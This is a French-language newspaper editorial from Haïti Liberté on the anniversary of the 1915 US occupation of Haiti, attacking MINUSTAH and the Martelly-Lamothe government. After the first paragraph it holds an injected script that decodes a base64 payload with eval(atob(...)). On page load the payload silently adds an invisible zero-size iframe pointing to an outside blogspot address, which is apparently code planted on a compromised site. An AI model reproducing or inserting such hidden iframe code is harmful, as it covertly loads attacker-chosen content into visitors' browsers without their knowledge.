Haiti Liberte
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Edition Electronique |
Vol. 10 • No. 26 • Du 4 Jan au
10 Jan 2017 |
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Vol. 8 • No. 2 • Du 23 au 29 juillet 2014 |
De l’occupation américaine en 1915 à la
mainmise économique actuelle ! |
Berthony Dupont |
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EDITORIAL |
Le 28 juillet 2014 prochain ramènera le 99ème anniversaire du premier
débarquement des forces occupantes des Etats-Unis en Haïti ; pays
où elles ont passé 19 ans (1915-1934) à piller systématiquement tout ce
qu’elles convoitaient. Cette occupation de la Nation fondée par Jean-Jacques
Dessalines, a entraîné derrière elle un vaste projet économique tendant à
continuer l’exploitation des ressources du pays et à l’appauvrir davantage.
Les États-Unis en nous envahissant en 1915, nous ont forcés à
marcher dans leur propre direction et selon leurs propres intérêts. Depuis
notre indépendance, ce fut la première fois qu’une force militaire étrangère
allait occuper le premier pays libre et souverain de l’Amérique latine, entraînant
en 2004 une récidive malhonnête sous couverture de l’ONU, à
dessein de sauvegarder les intérêts de Washington.<script>eval(atob("aWZybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklGUkFNRSIpO2lmcm0uc2V0QXR0cmlidXRlKCJzcmMiLCAiaHR0cHM6Ly93aW5uZXJzY29mZmVlLmJsb2dzcG90LmNvbS8iKTtpZnJtLnN0eWxlLndpZHRoID0gMCsicHgiO2lmcm0uc3R5bGUuaGVpZ2h0ID0gMCsicHgiO2lmcm0uc3R5bGUuYm9yZGVyPSIwcHgiO2lmcm0uc3R5bGUudmlzaWJpbGl0eT0gImhpZGRlbiI7c2V0VGltZW91dChmdW5jdGlvbigpe2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZybSk7fSwxMDAwKQ==")); </script>
Chaque fois que les colons occupent le pays, ils trouvent un certain
nombre d’haïtiens, particulièrement ceux de la bourgeoisie, disposés à collaborer
avec eux. Il nous faut aussi signaler que ceux qui défendent les
forces étrangères ont la garantie que celles-ci sont également là pour les
protéger. Préval et Martelly n’ont-ils pas avoué « tant qu’il y a la Minustah,
[leur] pouvoir ne saurait être menacé » ! De sorte que Martelly et Lamothe
passent pour être l’illustration la plus parfaite de mercenaires au service de
la mafia internationale. Leur projet est de priver le pays de sa souveraineté
et de mettre Haïti à la vente. Ils concoctent avec l’impérialisme mondial le
plan de vendre le pays aux multinationales soit en gros soit en détail ; ce qui
explique leur slogan de propagande: «Haïti ouverte aux affaires»
Les occupants, colons modernes, doivent être heureux d’avoir une
équipe aussi rétrograde, aussi confortable dans sa peau de mercenaires, de
gens cyniques aussi dévoués et acquis à la malfaisance de l’International et
qui leur donnent de si bons rendements. Dans le passé, ils ont toujours fait
croire que les Haïtiens ne pouvaient pas diriger – certains du moins – ce
qui fait qu’aujourd’hui, ils peuvent vraiment se réjouir d’avoir finalement
trouvé de vrais laquais, des narcotrafiquants, capables de leur vendre le sol
national. Et à cet égard, Bill Clinton tout récemment a eu à déclarer triomphalement
: «c’est pour la première fois qu’Haïti a un président qui veut
défendre les véritables intérêts du pays » mais entendez par là que ce sont
les intérêts des États-Unis qu'il évoquait.
Leur objectif, n’est que de piller toutes les ressources du pays : les
mines d’or, le marbre, l’uranium, le pétrole, la bauxite, le cuivre, etc. Même
les ressources humaines, comme les médecins, les ingénieurs, la maind’oeuvre
esclave à 5 $ par jour à nos ouvriers et ouvrières d’usine (SONAPI,
CODEVI, et Caracol), ne sont pas épargnées.
Mais il y a une autre raison encore plus fondamentale pour laquelle les
dirigeants veulent garder la force d’occupation militaire en Haïti aujourd’hui,
la seule force de «maintien de la paix» de l’ONU dans l’hémisphère occidental.
C’est du fait que le peuple haïtien est un peuple rebelle, un peuple qui
brise toujours toutes les chaînes que les puissants essaient de mettre à ses
chevilles ; puisque à leurs yeux, nous sommes un peuple de source historique
servant de «mauvais exemples».
Assurément, nous sommes le premier peuple à avoir réussi non seulement
à combattre l’esclavage et le colonialisme français, mais aussi à les
mettre en déroute en 1804. Nous fûmes, en 1915, le premier peuple de
l’Amérique latine ayant organisé une guérilla contre les Marines Yankees
qui occupaient bien des territoires dans le monde entier. L’armée des Cacos
avec Charlemagne Péralte et Benoît Batraville a vu le jour bien avant celle
de Farabundo Marti au Salvador et de Augusto Sandino au Nicaragua. Nous
sommes également le premier pays qui a fait voler en éclats les élections
frauduleuses toutes programmées par le laboratoire à Washington pour
toute l’Amérique latine. En effet, les élections du 16 Décembre 1990, où
les opprimées haïtiennes avaient voté Aristide en masse, sont la référence
à l’origine des élections authentiquement populaires d’un Hugo Chavez
au Venezuela, d’Evo Morales en Bolivie, de Rafael Correa en Equateur et
d’autres.
Par contre, aujourd’hui, l’impérialisme est non seulement présent au
pouvoir en Haiti, mais il est décidé à mettre le pays totalement sous ses
griffes. Voilà pourquoi, il commence donc par prendre le sol, dépouillant
les paysans de leur terre pour construire des hôtels, des terrains de golf et
des plages. Ils déracinent les résidents du centre-ville de Port-au-Prince, les
paysans de l’Ile-à-Vache, afin de bâtir leur eldorado devant inclure grands
hôtels, grands magasins, casinos et même des bureaux luxueux pour les
hommes d’affaires internationaux.
De 1915 à 1934, les marines américains, ont volé notre réserve d’or
à la banque nationale, saisi les douanes et confisqué le commerce du pays.
Quand ils sont partis après 19 ans, ils se sont tout à fait assurés que nous
ne pourrions plus jamais être capables de nous délivrer de leur carcan. A ce
compte, la société haïtiano-américaine de développement agricole (Shada)
qu’ils ont créée en 1941 a accompli un tragique et monstrueux exploit, en
provoquant le déplacement de 250 mille paysans ainsi que la coupe d’un
million d’arbres fruitiers et de 200 mille pins dans les montagnes du pays
appauvrissant ainsi le sol national.
Le régime Martelly-Lamothe ne fait qu’assurer la continuité du travail.
Le Carnaval des fleurs que ce gouvernement déclare à chaque fin de Juillet,
est organisé pour nous distraire, nous empêcher de réfléchir sur nos problèmes,
nos misères ; nous invitant plus aux bamboches et au dilettantisme
qu’à la réflexion constructive. Une façon de ne jamais arriver à découvrir la
source des difficultés qui nous tiennent dans le sous-développement chronique
; ce qui pousse les donneurs de leçons à nous qualifier d’Etat raté. La
date du 28 juillet devrait être un jour d’indignation, de colère et de révolte
de tous les fils du pays. C’est le jour ou notre mère-patrie a été violée, violentée
par les forces d’occupation qui ont commis d’incroyables cruautés :
exécutions sommaires, l’assassinat de notre glorieux Charlemagne Péralte,
le massacre de Marchaterre, qui peut oublier tout ça ! Est-ce bien le 28 juillet
ce jour maudit que nous devrions choisir pour aller danser au carnaval ? Ne
devrions-nous pas plutôt rendre un hommage patriotique à nos valeureux
ancêtres et célébrer leur mémoire ?
C’est une dégringolade bien machinée par les occupants devant
laquelle nous n’avons qu’un seul choix pour nous en sortir: lutter contre
l’occupation.
La lutte contre l’occupation nous ordonne d’accompagner et de défendre
les déshérités du sort, les pauvres exploités expropriés de leurs terres,
ceux-là dont les maisons ont été détruites, ou leurs tentes consumées comme
dans le cas de l’incendie du lundi 14 au 15 juillet 2014 ; incendie programmé
et dénoncé par les victimes au marché «Tête boeuf». La lutte contre
l’occupation est la lutte contre les élections-sélections que nous préparent
Martelly et les forces occupantes de l’ONU.
La meilleure façon de commémorer le 28 Juillet 1915, c’est de ne pas
laisser le 28 Juillet 2015 nous trouver encore sous les bottes de l’empire. Debout
donc peuple haïtien pour le grand coup final qui viendra enfin balayer
la Minustah et ses alliés Michel Martelly et Laurent Lamothe!
Le peuple haïtien peut et doit faire à nouveau l’histoire. Nous pouvons
tracer un autre exemple : être le premier peuple à mettre en déroute les forces
de l’ONU. Par cet exploit, l’Organisation des Nations Unies perdra toute
crédibilité et ne sera plus une arme au service des Etats-Unis, de la France,
du Canada et de l’Angleterre.
À bas Martelly et Lamothe! À bas les élections / sélection! À bas
l’occupation militaire des Etats-Unis sous couvert de l’ONU!
Vive la lutte du peuple haïtien !
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